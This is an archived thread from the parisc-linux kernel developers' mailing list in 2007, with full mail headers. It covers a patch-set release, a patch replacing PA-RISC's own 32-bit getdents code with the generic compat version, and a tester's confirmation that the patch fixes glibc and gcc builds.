X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc v2.6.22-rc5-pa1
Date: Thu, 21 Jun 2007 05:26:33 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <20070621092633.GB10043__219.452280043875$1416624400$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624401 24596 80.91.229.3 (22 Nov 2014 02:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2007 09:37:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 21 Jun 2007 11:37:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49C437DD61;
	Thu, 21 Jun 2007 03:37:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22578-05; Thu, 21 Jun 2007 03:37:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 206677DD39;
	Thu, 21 Jun 2007 03:37:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FEA37DD30
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 03:37:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22578-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 03:37:05 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 762C17DD0B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 03:37:05 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4E5B858409C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 05:37:04 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C5B6658409B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 05:37:03 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 34D6123E03; Thu, 21 Jun 2007 05:26:33 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /X9Cc4chbmw6bK2HZzdLepNHUzc4ctHr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24678

http://ftp.kernel.org/pub/linux/kernel/people/kyle/parisc/2.6.22-rc5/v2.6.22-rc5-pa1.diff.bz2

added:
+parisc/led-lcd-no-space-removal.patch
+parisc/mmap-handle-expand_upwards-wrap.patch

merged:
-parisc/make-command_line-static.patch
-parisc/sync-compat-getdents.patch
-parisc/move-undef-to-end-of-syscall-table.patch
-parisc/wire-up-kexec_load-syscall.patch
-parisc/convert-proc-gsc-pcxl_dma-to-seq_file.patch
-parisc/let-pa8900-processors-boot.patch
-parisc/disable-lws-debugging.patch
-parisc/spelling-fixes-arch-parisc.patch
-parisc/ROUND_UP-macro-cleanup-in-arch-parisc.patch
-parisc/ROUNDUP-macro-cleanup-in-drivers-parisc.patch
-parisc/kobject-is-embedded-in-subsys-not-kset.patch
-parisc/build-fixes-for-power.c.patch
-parisc/fix-lasi_82596-build.patch
-parisc/fix-section-mismatch-in-parport_gsc.patch
-parisc/fix-section-mismatch-in-parisc-STI-video-dr.patch
-parisc/fix-section-mismatch-in-ccio-dma.patch
-parisc/fix-section-mismatches-in-arch-parisc-kerne.patch
-parisc/fix-section-mismatch-in-parisc-eisa-driver.patch
-parisc/fix-section-mismatch-in-superio-serial-driv.patch
-parisc/wire-up-utimensat-signalfd-timerfd-eventfd.patch
-parisc/fix-ENTRY-macro-redefinition.patch
-parisc/fix-section-mismatch-in-smp.c.patch
-parisc/remove-remnants-of-parisc-specific-softirq.patch
-parisc/fix-trivial-spelling-nit-in-asm-linkage.h.patch
-parisc/fix-null-ptr-deref-in-unwind.c.patch
-parisc/fix-reduce-size-of-task_struct-on-64-bit-m.patch
-parisc/be-more-defensive-in-process.c-get_wchan.patch
-parisc/fix-bug-when-syscall-nr-is-__NR_Linux_sysca.patch
-parisc/fix-kernel-panic-in-check_ivt.patch
-parisc/remove-global_ack_eiem.patch
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Fri, 29 Jun 2007 03:29:12 -0400
Lines: 174
Approved: news@gmane.org
Message-ID: <20070629072912.GC9495__5580.75809753991$1416624401$gmane$org@fattire.cabal.ca>
References: <20070604014313.GB2075@fattire.cabal.ca>
	<200706040147.l541lAP3022868@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624401 24600 80.91.229.3 (22 Nov 2014 02:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:41 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jun 2007 07:40:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 29 Jun 2007 09:40:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 132327DD7C;
	Fri, 29 Jun 2007 01:40:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14081-04; Fri, 29 Jun 2007 01:40:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C84A7DD78;
	Fri, 29 Jun 2007 01:40:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A92C87DD71
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jun 2007 01:40:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14081-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jun 2007 01:40:07 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id BB36C7DD6F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jun 2007 01:40:07 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 5836F5840A0;
	Fri, 29 Jun 2007 03:40:07 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7457E58409F;
	Fri, 29 Jun 2007 03:40:06 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 5D3F623E06; Fri, 29 Jun 2007 03:29:12 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706040147.l541lAP3022868@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: B9vvLqd9TlIuYLeQeGhrFX9GU2poZRnX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24679

On Sun, Jun 03, 2007 at 09:47:10PM -0400, John David Anglin wrote:
> > I don't suppose you could strace in a chroot with a older working glibc
> > and see what syscalls are there?
> 
> Probably, I won't have time until next weekend.
>

Could you try this patch?

Thanks,
	Kyle M.

>>>From 0deea67e075b5152d427426583500b8d9cf0a56c Mon Sep 17 00:00:00 2001
From: Kyle McMartin <kyle@parisc-linux.org>
Date: Fri, 29 Jun 2007 03:38:10 -0400
Subject: [PARISC] Use compat_sys_getdents

Switch to using the generic compat_sys_getdents instead of a
homebrew one.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 arch/parisc/kernel/sys_parisc32.c  |  141 ------------------------------------
 arch/parisc/kernel/syscall_table.S |    4 +-
 2 files changed, 1 insertions(+), 144 deletions(-)

diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index bb23ff7..2989c66 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -285,147 +285,6 @@ int cp_compat_stat(struct kstat *stat, struct compat_stat __user *statbuf)
 	return err;
 }
 
-struct linux32_dirent {
-	u32		d_ino;
-	compat_off_t	d_off;
-	u16		d_reclen;
-	char		d_name[1];
-};
-
-struct old_linux32_dirent {
-	u32	d_ino;
-	u32	d_offset;
-	u16	d_namlen;
-	char	d_name[1];
-};
-
-struct getdents32_callback {
-	struct linux32_dirent __user * current_dir;
-	struct linux32_dirent __user * previous;
-	int count;
-	int error;
-};
-
-struct readdir32_callback {
-	struct old_linux32_dirent __user * dirent;
-	int count;
-};
-
-#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))
-static int filldir32 (void *__buf, const char *name, int namlen,
-			loff_t offset, u64 ino, unsigned int d_type)
-{
-	struct linux32_dirent __user * dirent;
-	struct getdents32_callback * buf = (struct getdents32_callback *) __buf;
-	int reclen = ALIGN(NAME_OFFSET(dirent) + namlen + 1, 4);
-	u32 d_ino;
-
-	buf->error = -EINVAL;	/* only used if we fail.. */
-	if (reclen > buf->count)
-		return -EINVAL;
-	d_ino = ino;
-	if (sizeof(d_ino) < sizeof(ino) && d_ino != ino)
-		return -EOVERFLOW;
-	dirent = buf->previous;
-	if (dirent)
-		put_user(offset, &dirent->d_off);
-	dirent = buf->current_dir;
-	buf->previous = dirent;
-	put_user(d_ino, &dirent->d_ino);
-	put_user(reclen, &dirent->d_reclen);
-	copy_to_user(dirent->d_name, name, namlen);
-	put_user(0, dirent->d_name + namlen);
-	dirent = ((void __user *)dirent) + reclen;
-	buf->current_dir = dirent;
-	buf->count -= reclen;
-	return 0;
-}
-
-asmlinkage long
-sys32_getdents (unsigned int fd, void __user * dirent, unsigned int count)
-{
-	struct file * file;
-	struct linux32_dirent __user * lastdirent;
-	struct getdents32_callback buf;
-	int error;
-
-	error = -EFAULT;
-	if (!access_ok(VERIFY_WRITE, dirent, count))
-		goto out;
-
-	error = -EBADF;
-	file = fget(fd);
-	if (!file)
-		goto out;
-
-	buf.current_dir = (struct linux32_dirent __user *) dirent;
-	buf.previous = NULL;
-	buf.count = count;
-	buf.error = 0;
-
-	error = vfs_readdir(file, filldir32, &buf);
-	if (error < 0)
-		goto out_putf;
-	error = buf.error;
-	lastdirent = buf.previous;
-	if (lastdirent) {
-		if (put_user(file->f_pos, &lastdirent->d_off))
-			error = -EFAULT;
-		else
-			error = count - buf.count;
-	}
-
-out_putf:
-	fput(file);
-out:
-	return error;
-}
-
-static int fillonedir32(void * __buf, const char * name, int namlen,
-			loff_t offset, u64 ino, unsigned int d_type)
-{
-	struct readdir32_callback * buf = (struct readdir32_callback *) __buf;
-	struct old_linux32_dirent __user * dirent;
-	u32 d_ino;
-
-	if (buf->count)
-		return -EINVAL;
-	d_ino = ino;
-	if (sizeof(d_ino) < sizeof(ino) && d_ino != ino)
-		return -EOVERFLOW;
-	buf->count++;
-	dirent = buf->dirent;
-	put_user(d_ino, &dirent->d_ino);
-	put_user(offset, &dirent->d_offset);
-	put_user(namlen, &dirent->d_namlen);
-	copy_to_user(dirent->d_name, name, namlen);
-	put_user(0, dirent->d_name + namlen);
-	return 0;
-}
-
-asmlinkage long
-sys32_readdir (unsigned int fd, void __user * dirent, unsigned int count)
-{
-	int error;
-	struct file * file;
-	struct readdir32_callback buf;
-
-	error = -EBADF;
-	file = fget(fd);
-	if (!file)
-		goto out;
-
-	buf.count = 0;
-	buf.dirent = dirent;
-
-	error = vfs_readdir(file, fillonedir32, &buf);
-	if (error >= 0)
-		error = buf.count;
-	fput(file);
-out:
-	return error;
-}

From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sat, 30 Jun 2007 11:44:13 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200706301544.l5UFiDoG008907__27529.3660852642$1416624401$gmane$org@hiauly1.hia.nrc.ca>
References: <20070629072912.GC9495@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624401 24607 80.91.229.3 (22 Nov 2014 02:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:41 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2007 15:44:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx106) with SMTP; 30 Jun 2007 17:44:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57C237DD07;
	Sat, 30 Jun 2007 09:44:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25955-07; Sat, 30 Jun 2007 09:44:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 604567DD08;
	Sat, 30 Jun 2007 09:44:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 961757DD06
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 09:44:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25955-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 09:44:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B90E97DD04
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 09:44:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l5UFiE1I008908;
	Sat, 30 Jun 2007 11:44:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l5UFiDoG008907;
	Sat, 30 Jun 2007 11:44:13 -0400 (EDT)
In-Reply-To: <20070629072912.GC9495@fattire.cabal.ca> from "Kyle McMartin" at
	Jun 29, 2007 03:29:12 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PR7uC9BJbHIzb63NNjQ0CZIqJihyatDB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24680

> Could you try this patch?

I installed it last night.  svn works, gcc bootstraps and I haven't
seen any other problems.  There was a problem building libjava with
the getdents bug.

> -	/* struct linux_dirent has longs, like 'unsigned long d_ino' which
> -	 * almost definitely should be 'ino_t d_ino' but it's too late now */

This is my only concern.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sat, 30 Jun 2007 12:54:55 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20070630165455.GA465__9495.00177889622$1416624401$gmane$org@fattire.cabal.ca>
References: <20070629072912.GC9495@fattire.cabal.ca>
	<200706301544.l5UFiDoG008907@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624401 24608 80.91.229.3 (22 Nov 2014 02:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:41 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2007 17:05:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 30 Jun 2007 19:05:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F8487DD11;
	Sat, 30 Jun 2007 11:05:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26281-10; Sat, 30 Jun 2007 11:05:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C90997DD28;
	Sat, 30 Jun 2007 11:05:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 623697DD11
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 11:05:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26144-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 11:05:51 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 8FD327DD0D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 11:05:51 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6BA1C5840A2;
	Sat, 30 Jun 2007 13:05:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id DE85E58409F;
	Sat, 30 Jun 2007 13:05:47 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 621E523E06; Sat, 30 Jun 2007 12:54:55 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706301544.l5UFiDoG008907@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FuTzdb58ODBoYrWUfGRMgFQ1Ji9SWhL+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24681

On Sat, Jun 30, 2007 at 11:44:13AM -0400, John David Anglin wrote:
> > Could you try this patch?
> 
> I installed it last night.  svn works, gcc bootstraps and I haven't
> seen any other problems.  There was a problem building libjava with
> the getdents bug.
>

OK. I'll try to build a HEAD kernel and boot with an old glibc to see if
it fucks up. Is there a really easy testcase I can try to reproduce
this?

> > -	/* struct linux_dirent has longs, like 'unsigned long d_ino' which
> > -	 * almost definitely should be 'ino_t d_ino' but it's too late now */
> 
> This is my only concern.
> 

It should be fine, since all other compat arches have the same problem.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: seb@frankengul.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Thu, 5 Jul 2007 16:22:23 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20070705142222.GA26105__4955.21510388262$1416624402$gmane$org@frankengul.org>
References: <4689855B.1000404@frankengul.org>
	<200707030158.l631wkrg003150@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624402 24612 80.91.229.3 (22 Nov 2014 02:46:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
